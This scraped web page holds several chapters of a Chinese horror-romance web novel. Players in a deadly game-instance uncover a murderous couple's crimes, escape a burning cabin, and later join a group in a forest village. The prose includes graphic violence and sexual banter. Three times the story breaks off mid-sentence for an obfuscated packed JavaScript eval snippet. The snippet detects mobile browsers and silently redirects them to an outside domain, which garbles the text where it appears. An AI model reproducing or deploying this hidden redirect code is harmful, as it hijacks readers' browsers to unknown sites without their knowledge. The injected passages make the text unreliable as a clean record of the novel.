在浓雾中保持方向对嵇无樾来说并不是难事,关键是后面的路段逼仄崎岖,完全盲开的话免不了磕磕碰碰。 后座上的两人被晃的头晕脑胀,如果不时刻用手捂着嘴,说不定下一秒就会吐出来。 黎向辞实在是看不下去了,忍不住道,“起来,换我开。” “用不着,这种路谁开都一样。”嵇无樾心有余悸地摸了下右脸,“伤员就老老实实坐着,除非你想借此机会倒进我的怀里。”他紧接着补充:“虽然我很希望你主动投怀送抱,但是你打人太疼,在我没有原谅你之前,我们需要保持距离。” 黎向辞:“……”这种的肯定不能惯着,不然越惯越混蛋。 “你能这么想就再好不过。”他冷哼,“我愿意一辈子跟你保持距离。” 嵇无樾:“负距离可以吗?” 黎向辞:“?” 又是一阵颠簸,黎向辞背上的伤口疼得厉害,他不再搭理嵇无樾,而是吐出一口气缓缓靠回椅背,垂着眼又翻了一遍照相机里面的照片,里面全是“熟人”的面孔。 换句话说,便是他们所扮演的NPC生前所作所为的记录,副本直接替换成了他们的脸而已。 第一张是那个已经被砍断双腿死掉的男人,只见他手握斧头对着镜头比耶,脚下躺着一群野猫的尸体。 第二张是男人的女朋友,她正在狞笑着拿刀刺向一只口吐白沫的小黄狗,小黄狗的脖子上戴着“旺旺”的狗牌。 第三张是李祈昭,他正抱着“旺旺”的狗头站在一个小男孩尸体旁开怀大笑。 第四张是嵇无樾,正在背对镜头挖坑活埋还在挣扎的程旭阳,方才拿着斧头砍他们的男人被关在了狗笼里,满脸惊恐地望着嵇无樾的方向。 …… 最后一张,是燃着熊熊大火的越野车,隐约可以透过车窗看到里面的人影。 而黎向辞冷漠地站在车前,笑容戏谑而残忍。 中间还有将近十几张他们单独或合伙虐杀陌生人的照片,黎向辞越看越烦躁,脸色逐渐变得阴沉。 一旁的嵇无樾被搞的心惊胆战,时不时瞟一眼他。 见黎向辞放下相机,他终于找到机会开口:“里面是什么?” “我们的犯罪记录。”黎向辞说,“但是我总觉得奇怪。” “说来听听。” “无关的照片太多了,就好像是在刻意营造我们全是恶人的形象。”黎向辞说,“如果那对年轻夫妻是我们两个人杀的,那么其他三个人照片的出现完全没有必要。” “我知道你在想什么。”嵇无樾习惯性地想摸烟抽,手放进兜里才发觉这是在副本里,衣服也是抢来的。 他捻了捻手指,重新把手搭在方向盘上,“人都会下意识美化自己做过的事情,讲述的视角不一样,得到的故事也截然不同。” 黎向辞挑起一边眉:“你的意思是……” 砰! 话音未落,众人头顶倏地传来巨大的重物下落的声音——有东西砸在了车顶,整个车身都被砸的一震。 怪物嘶吼着用爪子抓挠车顶,吓得后座上的两个人又害怕的抱作了一团。 嵇无樾猛踩刹车,试图把趴在车顶上的东西甩出去,结果又是突如其来的一声巨响,副驾驶的车窗上被恶狠狠插进了一把斧头。 黎向辞下意识转头,正对上一张紧贴在窗户上的脸。 男人缠满血丝的眼睛瞪得老大,被嵇无樾砍的满是伤口的脸在玻璃的映照下显得尤为扭曲,鲜红的血液顺着脸颊落在车身上,清晰有节奏的滴答声宛如是在为他们所剩不多的时间倒计时。 “看来我们猜对了,”嵇无樾操控车子在森林里像无头苍蝇一般乱撞,“事情果然不是看到的那样。” “你行吗?”黎向辞蹙眉,“不会躲追击的话让我来。” “放心,我一直都是乱跑乱撞的战术,从不失手。”嵇无樾说,“只要我不吐,我迟早把他们甩……” 李祈昭:“呕——” 嵇无樾:“……” 男人费劲力气拔出斧头,举起胳膊想要再次砍下去,嵇无樾又是一个猛刹,男人一时之间没有反应过来,惨叫一声连人带斧头被甩了出去。 众人还没来得及喘口气,车顶上的怪物紧接着便双手双脚扑通趴在了挡风玻璃上,拼命用脑袋撞着玻璃。 嵇无樾视线受阻,眼看越野车直直地朝泥坑冲过去,黎向辞条件反射地起身夺过方向盘重新调整方向。 嵇无樾先是愣了一下,随即看着大半个身体倚在自己身上的青年扯了下嘴角,说:“我喜欢你主动。” “别废话,踩刹车!”黎向辞命令道。 “明白。”嵇无樾照做。 两人的配合成功甩掉了一只手已经扒上门把的男人。 但是不管两人如何做,始终无法摆脱挡风玻璃上的怪物。 没一会儿,挡风玻璃就被撞的出现了大片裂痕,随之迅速扩散至整块玻璃,就连一旁的黎向辞也无法看清路况了。 随之而来“咚”的一声响,失去平衡的越野车不出意料地撞上大树,车身顿时冒起白烟。 不好,要爆炸了! “都下车!”黎向辞率先打开车门,结果在一只脚踏出去的瞬间,男人便提着斧头冲了过来,将他拖出去好几米远。 黎向辞疼的倒抽了一口气,背上再次被黏腻的鲜血浸湿。 “向辞!”李祈昭焦急地大喊,刚要上前,就被从车上跳下来的怪物给拦在了后面。 怪物张牙舞爪地扑了过去,李祈昭被吓得腿一软倒在了地上,身旁的女人见状捡起一块碎石砸了过去,却不成想怪物被这个举动激怒了,倏地转身掐住了她的脖子,另一只脚踩着李祈昭的手腕模仿黎向辞在地上用力碾着。 霎时间,打斗声和喊叫声交错,场面混乱不堪。 嵇无樾来不及犹豫,第一时间选择先救距离自己最近、并且毫无自保能力的惨叫双人组。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716937|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 另一边,黎向辞在与男人缠斗期间被忽然从草丛中窜出来的虫子迷了眼睛,再回过神时,斧头正对着他的脑袋砍了下来。 黎向辞咬着牙一躲,斧头结结实实砍在了他的肩膀上,他顺势握住男人的手腕翻身反压,再一用力将斧头抢了过来。 正当他举起斧头要砍下去时,一个浑身散发着浓郁腐烂臭味的人影从黑暗中歪歪扭扭跑了过来。 是程旭阳! 黎向辞本以为是冲着他来的,于是从男人身上起来后退几步,盯着已经变为活死人的程旭阳时刻准备反攻。 谁料,程旭阳直奔着地上欲挣扎着起身的男人去了。 他张大嘴一口咬在男人的肩膀上恶狠狠地撕咬,下一秒,男人肩上的那块肉就被连骨带皮硬生生扯了下来。 黎向辞有些发愣。 不知道是不是他的错觉,他总感觉程旭阳这个充满怨恨的一咬是为了给他报仇——毕竟他现在的身份是程旭阳的弟弟。 他的手指不自觉蜷了蜷,竟有些不愿离开。 刚和那两人把怪物合力塞进车座下面的嵇无樾刚跑出去没两步,一回头发现黎向辞没有跟上来,而是目光空洞地盯着面前狗咬狗的两人看。 他第一反应觉得还挺稀奇,毕竟黎向辞怎么看都不像会露出类似眷恋表情的人。 “走啊,发什么呆?”嵇无樾折返回去,在看到黎向辞肩膀上正在不断往外冒血的伤口时顿了下,握住他的力气都不自觉放轻了。 黎向辞的手腕冰凉一片,身上满是混杂着鲜血的泥泞,可他的表情又是那么坦然,仿佛受伤的并不是他。 嵇无樾的心里莫名有些堵的慌,因为这样的黎向辞让他想起了最初的自己。 强大、倔强、被所有人信任……以至于总是被人抛之身后。 黎向辞木然地跟着嵇无樾跑了几步,倏地听到身后传来了程旭阳凄厉的喊声。 他猛地回头,看到程旭阳被男人用斧头砍断了三分之二的脖子,正痛苦地倒在地上抽搐。 许是察觉到他的目光,程旭阳艰难地转动浑浊的眼球,缓缓朝他的方向看了过来。 下一秒,他僵硬地扯起嘴角,露出一个可怖的微笑。 但这笑容在黎向辞眼里是那么纯善,仿佛倒在他面前的是一个拥有鲜活生命的人,正冲他和蔼的笑。 黎向辞微不可察地压了下唇角,甩开了嵇无樾的手。 “你们先走。”他的语气不容置喙,“不用等我。” 话落,他径直走向了程旭阳。 “你——”嵇无樾想追上去,越野车却在这时爆炸了,炽热的冲击力将他弹飞了出去,后背重重撞在了一棵大树上。 前面的两人听到声响赶忙跑回来扶他。 李祈昭望着面前燃着的熊熊大火,错愕地说不出来话。 女人跟着焦灼地环视四周,却不见黎向辞的身影。 她吞咽了下,声音颤抖:“他、他人呢?” “在里面。”嵇无樾握紧拳头,盯着肆意跃动的火苗看了几秒,转身道—— “走吧,他说让我们不用等。” 11. D-残忍的猎户 没了那一人一怪的阻挠,嵇无樾很顺利的带着另外两人抵达了程旭阳弟弟的住处。 那也是一个木屋,没有窗户,但看起来比程旭阳自己住的要宽敞和精致许多。 屋外有一块特地开垦过的土地,上面插着几朵已经枯萎的花草,旁边放着水壶和除草机,大体看起来颇有几分悠闲的生活气息——如果不是在副本里出现的话。 嵇无樾没在外面做过多的停留,上前一步伸手推门。 李祈昭望着面前青年推门的动作蜷了下手指,下意识扭头看了一眼身后,只有一团恼人的灰色雾气。 黎向辞是死了吗…… 也许吧。 还没来得及报答他的救命之恩呢。 李祈昭憋闷地呼出一口气,三两步跟了上去。 门被推开,想象中的腐朽味道并没有出现,而是扑面而来一股淡淡的木质香味。 环视一周,木屋里面就是猎户们最为简朴平常的布置,不过随处可见程旭阳和他弟弟的亲密合照,兄弟两人的关系可见一斑。 嵇无樾走到床边拿起柜子上的相框,盯着照片里兄弟两人扛着猎枪、仿佛可以融化冰雪的笑容看了几秒,脑海里莫名联想到了黎向辞看向那具腐尸的眼神,就像是在看亲人般柔软。 直觉告诉他,黎向辞进入副本绝对不是什么巧合。 嵇无樾放下相框,正欲转身,就听见一旁的女人说,“哎,这个相机怎么跟那个帅哥拿的一模一样?” 嵇无樾接过相机粗略打量一番,发现确实跟黎向辞那个一模一样。 他在屏幕上点了两下,然后把电池拆了下来。 “没电了。”他说,“找找看哪里可以充电。” 那两人闻声而动,开始翻箱倒柜,最后只找到一个电量告急的充电宝给相机电池充上了。 在等待电池充电的过程中,嵇无樾走到堆着几本书和半杯水的桌子前,拿起其中一本夹着树叶书签的书翻开,映入眼帘的便是一句用笔圈起来的话。 “我爱你爱到情愿为你去死,但是你要记住,如果我死了,我会一直缠着你,直到你以相同的方式死亡。” 嵇无樾感到奇怪,他翻到目录页,空白处果然用娟秀的字迹写着一个女人的名字——贺清娅。 这果然不是程旭阳弟弟的书。 贺清娅就是那个已经变成怪物的女人吗?她的书为什么会出现在这里? 嵇无樾蹙了下眉,目光不自觉落在了桌子上的一处黑色的痕迹上,看起来很像是被火烧出来的。 他伸手摸了下那处痕迹,居然隐隐有些发热。 嵇无樾心里一惊,把整个手掌都贴在了桌子上,几秒后便被烫的弹开了手。 糟了! 嵇无樾立马反应过来不对劲,一个箭步冲到门前,就在他手触到门的一瞬间,整个木屋噌的燃起了火。 “发生什么事了?!”李祈昭慌张地拿着几张纸跑了过来,“木屋为什么会突然着火!!” “我想我们就是在这个屋子里被烧死的。”嵇无樾踹了一脚门,没有任何松动的迹象。 “啊?”李祈昭茫然了一瞬,下一秒反应过来嵇无樾口中的“我们”是他们扮演的这几个猎户。 “那现在怎么办?!”他崩溃大喊,“我们明明马上就可以找到出去的办法了,为什么这么倒霉啊!!” “不是倒霉,是我们必须经历这些角色经历过的事情。”嵇无樾说。 “那我们还能出去吗?”李祈昭颤声道。 嵇无樾随口道:“出不去就等死。” 李祈昭更崩溃了。 怎么在这里遇到的大腿都喜欢说这句话啊!! 火势不受控制的越燃越大,木屋空间不似外面空旷,黑烟迅速弥漫至屋内,将三个人团团包裹。 几人被呛的直咳嗽。 嵇无樾见暴力破门无效,只好拿起桌子上的水往每个人的衣服上都洒了些,随后用衣服捂着口鼻俯下身子,余光瞥见李祈昭怀里抱着的东西,问:“你拿的什么?” “一份巨额保险单。”李祈昭也跟着趴了下去。 嵇无樾接过保险单,上面的被投保人清清楚楚签着贺清娅三个字,而受益人则是一个叫武小华的男人。 往后翻则是这两个人的身份证复印照。 如果是这样的话…… 嵇无樾倏地起身,快速把电池装回照相机里,按了开机键。 相机屏幕亮起,嵇无樾边咳嗽边打开了相册。 结果照片显示的内容与黎向辞所说的“他们的犯罪记录”这个事实大相径庭。 里面不仅有武小华和贺清娅共同虐杀动物或人的照片,甚至还清晰记录了他把小男孩和狗头缝合起来、砍断男人双腿使他失血过多而死、以及活埋了程旭阳和放火烧死他们三个人的全过程。 而最后一张,是他亲手把黎向辞的脑袋挂在车顶和已经断成两截的贺清娅一起被烧为灰烬的照片。 这么来看,黎向辞拿着的相机里面的照片其实是男人自己做过的事情,不过是想误导玩家罢了。 这下整个故事线就可以串起来了。 武小华有虐杀动物的癖好,而妻子贺清娅不仅不阻止,反而乐在其中。 久而久之,虐杀动物已经不能满足胃口大开的武小华,于是便和妻子联手对无辜的陌生人下手,只可惜两人隐藏的很好,一直未被发现。 但是后来武小华迷上了赌博,从而欠了一大笔钱,他无力偿还,于是便哄骗着妻子签了巨额保单,再驱车带她来森林“探险”,实则心里一直在盘算着如何杀妻骗保。 路上他们遇到了和蔼的护林员和心地纯善的五个猎户,结果武小华再次本性暴露,计划着如何杀掉他们以此来满足自己的变态心理。 而去小木屋拿枪的程旭阳弟弟最先发现了他们的目的,在还没来得及告知其他人的时候就被那对丧心病狂的夫妻给杀掉了。 而那头黑熊也许是在追逐程旭阳弟弟的过程中误杀的,最后难逃做成标本的命运。 但从那句书中被刻意圈起来的话可以看出来,贺清娅从始至终是知道这个“杀妻计划”的,但她为了自己坚信的爱情毅然决然选择跳入火坑,亲手造就了最后的结局。 也不知道她有没有想到,男人最后竟然也舍得虐杀她。 顶级恋爱脑,怪不得都变成怪物了还那么护着男人。 真是可悲。 但若是这个小副本是在严格按照每个人规定好的死亡方式来进行,那么现在越野车提前损坏了,是不是就代表黎向辞暂时没有生命危险? 亦或者……在他们发现可以致男人死亡的方法后,男人就变成了普通人类,可以被轻易的杀死? 那如果方法用错了会怎么样…… 不行!要赶紧出去阻止黎向辞! 嵇无樾闭了下眼,重新把注意力放在了眼前迫在眉睫的凶险局势上。 其实他从一进来就觉得木屋的设计有些奇怪。 不仅没有窗户,而且就连家具摆放的位置也很紧凑,几乎是完全堆在了一起,像是在遮挡什么东西。 嵇无樾被滚滚浓烟熏的睁不开眼睛,喉间也似被火灼伤了一般疼痛。 他定了定神,大步走到所有家具中心点的衣柜前,抬脚从侧面用力一踹,衣柜轰然倒地,露出了后面挂着一把黑锁的木门。 “有门!”李祈昭惊喜地跑了过来,但又愁道:“我们来得及找钥匙吗……” 钥匙…… 嵇无樾眉间微动,下意识回头看向那张多出来一处烧痕的桌子。 “不用找了。”他说着走了过去,眯起眼睛打量那处黑色的痕迹,眸中隐隐映着橙红色的亮光,“钥匙就嵌在这里。” - 灼人的热浪裹挟着噼里啪啦的零碎火星在黎向辞的耳边炸开,刺的他耳膜生疼,大脑被撞击后产生的强烈眩晕使他眼前天昏地暗,再加上来自胸口处沉甸甸的压力,黎向刺仿佛被抽干了氧气一般窒息。 嗬……嗬…… 气若游丝的痛苦呼吸声断断续续地传入耳朵,黎向辞艰难地掀起眼皮,正对上一双充血的丑陋双眸。 “嗬……”程旭阳浑身上下都被火焰灼烧的不成样子,但却以一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716938|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保护的姿态将黎向辞护至身下,甚至还用未被炸断的一条胳膊垫在了他的脑袋下面,用尽了他最大的能力来保护自己视为珍宝的弟弟。 黎向辞就垂着眼安静地看他,目光柔和而放松。 一滴腥臭的血液忽然从眼角流出滴落在黎向辞的额头,程旭阳明显有些慌乱,想伸手替他拂去那处肮脏的液体,却忘记了自己没了胳膊,只能焦急地晃着肩头。 “没事,不用擦。”黎向辞笑了下,抬手摸了摸他的眼角,眼前逐渐浮现出一个满脸笑容的青年的轮廓与之重叠,“哥,我想你了。” 他的语气眷恋不舍,眼底铺满连绵阴雨,语气似是在自言自语,又像是在对谁诉说呢喃。 程旭阳许是听懂了他说的话,压抑在嗓子里的低吼也变得激动高亢。 正当他颤抖着低头想与黎向辞鼻尖相抵时,从燃着的车前盖挣扎出来的男人大叫着扑了过来。 两人扭打在一起。 程旭阳本就是残缺之躯,被男人打的毫无还手之力,很快便不再动弹。 浑身焦黑的男人也不解气,举起斧头一下又一下往他的脑袋上砍去,霎时间脑浆四溢。 黎向辞早已被痛到麻木,他强撑着起身,一张沾满了碎肉、血迹斑斑的照片从他胸前飘了下去,应该是从程旭阳身上掉下来的。 他一顿,俯身将照片捡了起来。 照片是偷拍的角度,只见他的头被挂在越野车上,男人正在往车上泼汽油。 黎向辞愤怒到手抖个不停。 很难想象,程旭阳在亲眼看到自己弟弟被别人斩首后挂在车上是一种什么样的心情,他又是揣着怎么样的心情把这张照片按进血肉中,只等着有机会替弟弟报仇,就连死了也不愿合上双眼。 黎向辞把照片装进口袋,上前一把将男人从已经彻底失去生命体征的程旭阳身上踢了下去,随即跨坐在男人腰上,一拳一拳重重砸在男人已经面目全非的脸上,直到手指关节上满是伤口和鲜血都不肯停手。 而男人也不再像先前那样顽强,逐渐瘫软了下去。 黎向辞皱起眉,察觉到了男人不对劲,伸出指头探了探男人的鼻息,极其微弱。 男人不是杀不死么? 黎向辞还没来得及细想,身后忽然传来一声怒吼,怪物咆哮着将他扑倒在地,恶狠狠地撕咬他肩膀上的伤口。 真切的疼痛感使黎向辞止不住的颤抖,他咬牙摸到地上的斧头对准怪物的腰砍了下去。 怪物的身体骤然收紧,似是受到了重创一般捂着腰惨叫——但其实黎向辞此次攻击对它来说并没有造成任何实质性的伤害,它只是单纯的害怕罢了。 原来怪物也有创伤后应激障碍。 黎向辞趁机推开仍在大叫的怪物,提着斧头再次来到了男人面前。 他不想知道男人为什么会变成这样,他只知道只有看到男人痛苦才能纾解那股汹涌而出的那股强烈的愤怒。 黎向辞冷然地举起斧头,刚要砍下去—— “要让他像女人一样死去!” 黎向辞的动作并没有停止,斧头直直砸了下去。 就在众人以为要因此全军覆没之时,斧刃忽然转变方向,落在了男人的腰上。 男人极其痛苦的闷哼一声,腰间瞬间血流不止。 黎向辞面无表情地横抱起男人,将他扔进了燃着大火的越野车里。 紧接着,身后的怪物也爆发出刺耳的长啸,踉跄着冲进了大火中,火焰疯狂舔舐血肉的声音令人头皮发麻。 他的动作行云流水,似是早就猜到了这个结果。 嵇无樾动了动唇,想要说些什么,整个世界却在此时变得分崩离析,周围的一切光景都呼啸着随风逝去。 黎向辞扫了他一眼,转身朝反方向走去。 倏地一道亮光袭来,在一片朦胧幻影中,嵇无樾看到黎向辞缓缓走到了程旭阳身边,俯身轻抚着他的脸,似乎没有要离开的意思。 “你看清楚,他不是你哥哥!” 嵇无樾不顾一切冲到青年身边,握紧他的手腕拼命冲向了那片即将消散的光晕。 12. 村落 [推演成功,您获得的积分为:10] [很遗憾,您并未成为本次推演积分最高的玩家,再接再厉哦] 刺眼的光晕在他们靠近后刹那间消散,黎向辞失去重心后猛地向前倒去,一双有力的手及时接住了他。 “我这次可没有丢下你。”嵇无樾的声音缥缈,却又似暖风般和煦,“等你醒了可不许跟我闹脾气。” 黎向辞身上的疼痛逐渐淡去,他动了动唇想说些什么,眉间倏地覆上一片冰凉,替他抚平了紧锁的眉头。 “睡吧。” 嵇无樾朗润的嗓音有一种独特的安定能力,黎向辞难受的闷哼一声,靠在那个坚实宽厚的胸膛上失去了意识。 - 这一觉睡的很深,黎向辞再睁眼时发现自己正躺在一个干净整洁的小床上,嵇无樾正双手环胸站在床边,一言不发地听前面围坐在桌子前几个戴着手环的人讲话。 “老大,你真的要把他们几个全带上啊?”其中一个手上缠着绷带的男人对身旁为首的男人说,“床上躺着的美人也就算了,床边……”他忌惮地扫了一眼表情冷淡的嵇无樾,“……还有外面那两个只知道哭的,看着毛病就不少,要不还是算了吧?” “就是啊,我们愿意带上一个伤患就已经仁至义尽了,其余三个就让他们自生自灭好了。”另一人附和道。 “我同意他们的说法!” “我也同意,老大你千万要三思啊!” 为首的男人没接话,而是沉默地看向嵇无樾,似乎是在等他先开口。 “别啊,老大。”嵇无樾笑了下,“我老婆就是个病弱的药罐子,我得留下来照顾他。” 话落,他的大腿被狠狠掐了一下,扭头一看,发现自己口中的老婆正脸色不善地瞪着他。 嵇无樾的眼神闪过一瞬做坏事被抓包的心虚,随即又被吊儿郎当的散漫给取代,他忙坐在床上把黎向辞扶起来:“老婆你醒啦?” 黎向辞斜他一眼,拿开他的手靠在床头,轻声问道:“他们是谁?” “一群色狼。”嵇无樾说。 黎向辞蹙眉:“什么?” “喂,你们两个嘀嘀咕咕说什么呢!”手上缠了绷带的男人不满地打断了他们,“我管你们什么关系,但是既然被我们老大看上了,那从现在开始就是我们老大的人,你想跟着也行,但是要离这个美人远点!” “谁?”黎向辞听的云里雾里,“我?” “不然呢?这里还有比你更好看的人吗?”嵇无樾耸肩。 黎向辞直直看着他。 “你别看我啊,我这体格怎么看也不像是下面那个。”嵇无樾啧啧道,“倒是你,真是让人越看越想上,也不能全怪人家。” 黎向辞刚想伸手,就被嵇无樾隔着被子一把按住了。 “注意人设,别穿帮了。”他嘿嘿一笑,“药罐子老婆。” 黎向辞:“ ……” “行了,都留下吧。”为首的男人终于开口,“不过你们必须要听我指挥,不然私自行动出了事,我可不会浪费力气救你们。” “明白。”嵇无樾答应的很爽快,“保证不会给您添麻烦的。” 为首的男人“嗯”了一声,径直起身走到黎向辞面前伸出手,“胡林枫。” “嵇无樾。”旁边被忽视的人厚着脸皮握住了他的手,“我老婆叫向辞,好听吧?” “……好听。”胡林枫嫌弃地把手抽出来在大衣上擦了擦,不甘地看了一眼黎向辞,转身朝门外走去,“都各自回去休息吧,明天早点起床开会。”说完,他忽然想到了什么,扭头对嵇无樾说,“你过来跟我睡一间屋子。” “哈?”嵇无樾脸上的笑容顿时僵了,“我没有睡糙汉的癖好。” 胡林枫压了下嘴角:“我也没有搞肌肉男的习惯。” 黎向辞:“……”两个神经病。 最后嵇无樾被胡林枫手下连拖带拽拉出去的时候还不忘给黎向辞一个飞吻,结果换来的是无情的中指。 他嚎的更大声了。 门被重重关上,屋子里总算清净了。 黎向辞低头打量着自己进来森林时穿着的白色毛衣,又仔细摸了摸身上受过伤的地方,惊讶地发现那些在积分点里鲜血淋漓的伤口都变成了浅淡的划伤,只有轻微的痛感。 原来不管在里面受多重的伤,只要能成功逃出来,就一定能随着时间快速恢复。 只看结果的话,那就没什么好担心的了。 黎向辞打开手环,果不其然C级积分点的坐标已经亮了,并且距离他目前所在的位置不远。 手环倏地震动了一下,是一条系统跳出来的弹窗,提示黎向辞副本积分排名发生了变化,并且存活人数变为了150。 他点开排名榜,看到自己的排名已经落到了六十七,积分数量为12,而第一名依旧是那个叫邰术的青年,并且积分已经变成了恐怖的四位数,第二名才刚上一百。 黎向辞这才明白,在积分点里进行推演游戏的时候,那些观众依然可以监控他们的一举一动,也可以打赏积分,只是玩家们没有手环看不到而已。 这个邰术真不是一般人,如果能有办法让他为自己所用就好了,后面的副本也会好过很多,说不定还能问出来什么。 黎向辞目光上滑,看到了嵇无樾的名字,而他的积分数量为——十五。 原来他知道怎么拿满分。 躺的时间长了,双腿有些发软,黎向辞决定出去走走,顺便勘察一下周围的环境。 他掀开被子下了床,刚打开门,就看见嵇无樾叼着烟斜靠在他房间对面的护栏上垂眼看手环。 一缕白烟萦绕空中,在墨色夜晚的衬托下竟生出几分灵气,青年漂亮的五官也被蒙上了一层朦胧的薄纱。 “去哪啊?”嵇无樾伸出手冲他笑,“带我一个呗。” 黎向辞盯着他手上的烧痕看了几秒,蹭过他的指尖自顾自往楼下走。 “喂,不是说好了不跟我闹脾气吗?”嵇无樾双手插兜跟了上去,轻轻用胳膊顶了下黎向辞,“我跟你道歉行了吧?下次一定先帮你。” “道什么歉?”黎向辞莫名其妙,“你帮谁是你的自由,跟我又没关系。” “那你为什么不理我?” “我不喜欢别人在我面前抽烟。” “哎呀,你早说嘛。”嵇无樾赶忙把烟撇了,“还以为你会觉得抽烟的男人酷呢,这才搞了一根尝尝,不然我平时见到烟都是躲着走的,从来没抽过。” 黎向辞用眼尾撩他一眼:“那你在车上摸兜是想拿什么?” 嵇无樾顿了下,随即笑意更甚,“行啊你,观察那么细致。”他没脸没皮地说:“你不会是看上我了吧?” “当然不是。”黎向辞挑眉,“我只是有点想睡你而已。” 嵇无樾偏头忍笑,“草。”偶尔的甜枣真是让人受不了。 下了楼,黎向辞发现自己正位于一个森林深处的小型村落中,四面都是树,随处可见家禽和种满了农作物的土地,宛如一个被隔绝在外的世外桃源。 供他们住的双层瓦房应该就是专门接待外客用的,配套设施比当地村民住的土房子要好上很多。 天色暗了,街上只有他们两个人。 黎向辞在楼下的长椅上坐下,屁股都还没坐稳,嵇无樾便随之紧挨着他坐过来了。 “我为什么会在这里?”黎向辞问。 “我抱你来的啊。”嵇无樾伸了个懒腰,“你都不知道你昏迷的时候有多乖,搞得我都不好意思趁虚而入……” 黎向辞踢了他一脚,“正经点。” “哦,那个姓胡的带我们来的。”嵇无樾这才老实作答,“当时从积分点出来你就晕倒了,我就让李祈昭带路去你们住过的小木屋,结果小木屋被胡林枫给占了,我本来想带你去别的地方休息,结果这个老流氓竟然看上你了,非逼着我们跟他组队。”他“切”了一声:“如果不是看他找的地方还算凑合,离积分点又近,我早就背着你跑了,还用得着他那些小跟班赶我。” 话音未落,身旁传来一声轻笑,他挑起一边眉:“你笑什么?” “没什么。”黎向辞望向他,眸子里还带着尚未消融的笑意,冷冽的五官被柔化了不少,看起来很少年气。 嵇无樾被盯的一怔,脱口而出:“你今年多大?” “十九。”黎向辞说。 嵇无樾陡然生出了些许罪恶感。 “原来还是个小孩儿啊,看来以后要收着点了。”他说着笑眯眯地伸手揉了一把黎向辞的头发,“乖,叫哥哥。” “滚。”黎向辞打开他的手,“我有哥哥。” “我知道。”嵇无樾扬眉,“你进来就是为了找你哥哥吧?” 黎向辞不置可否。 嵇无樾试探着问:“跟我讲讲?” “不。”黎向辞斩钉截铁。 “不讲也行。”嵇无樾笑道,“那聊聊你自己吧?” 这么小的年纪打起架来却干净利落,又处处下死手,来路绝对不简单。 “没什么好聊的。”黎向辞扬了扬手环,“你不是刚赚了积分么?直接在上面看就好了。” “算了,我还是更喜欢你亲口告诉我。”嵇无樾把脸凑过去,几乎要与黎向辞蹭上鼻尖。 他的目光逐渐下移,最后停在了青年柔软的唇瓣上,语气轻薄暧昧:“不然我早就把你扒的一干二净了。” “现在扒也可以。”黎向辞轻扯起嘴角,微微抬起下巴往前,两人的嘴唇此刻离的极近。 嵇无樾蓦然感到口干舌燥,心跳也不自觉加快了。 眼看两人唇瓣即将贴上之际,黎向辞忽然一偏,温热的嘴唇轻轻掠过他的脸颊,随即退了回去。 “你先回答我一个问题。”黎向辞缓缓把手抚上他的脸颊,“我觉得满意了就让你亲。” 嵇无樾难耐地吞咽了下,“你问。” “你拿的是十五积分吧?”黎向辞直言不讳,“多的五积分是怎么来的?” 嵇无樾轻笑一声,将手覆在了黎向辞的手背上,“你比我想象中的更直白。”他说:“其实很简单,找到下一个积分点隐藏的线索就好了。” “只是这样?”黎向辞挑眉,“那线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716939|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索是什么?” “你的一个问题已经问过了。”嵇无樾不老实地把手搭在了他的腰上,坏笑道:“要不然你直接让我上一次,我必定知无不言。” 他又紧接着补充道:“放心,在床上可我是第一次,不会让你吃亏的。” “不用了。”黎向辞笑着拍了拍他的脸,“我不相信你的技术。” 话落,他起身要走,嵇无樾懒懒地冲他喊:“真不试试吗?我对我那方面还是很有自信的。” “不了。”黎向辞背对着他挥手,“你留给你真老婆吧。” 嵇无樾摸了摸方才被黎向辞嘴角碰到的地方,忍不住勾起了嘴角。 真是一个磨人的小骗子。 - 翌日清晨,黎向辞早早就在一楼的简陋餐厅等着了,做饭的阿婶见状热了杯鲜牛奶递给他,说先让他喝点热的垫垫,饭马上就好。 黎向辞接过牛奶道了谢,坐到餐桌前继续等。 除了被那对夫妻诱惑的产生了饥饿感外,其余大部分时间他都没感觉到饿,起这么早只是因为生活习惯。 没等多久,胡林枫就揉着脖子从楼上下来了,他的眼下一片乌青,一看昨天晚上就没有睡好。 “早。”黎向辞主动打招呼,“你睡落枕了?” “不太像。”胡林枫坐在他旁边,“我倒是觉得更像是被谁打了。” 黎向辞扬了下眉毛,没再继续搭话。 怪不得嵇无樾昨天晚上那么肆无忌惮,原来是把人打晕了才出来的。 “其实在副本里面我们是感觉不到饿的,不用勉强吃东西。”胡林枫见他端着牛奶却没喝,于是贴心地解释道:“如果还是觉得没力气,多睡会儿觉就好了。” “我知道了。”黎向辞笑了下,“谢谢关心。” 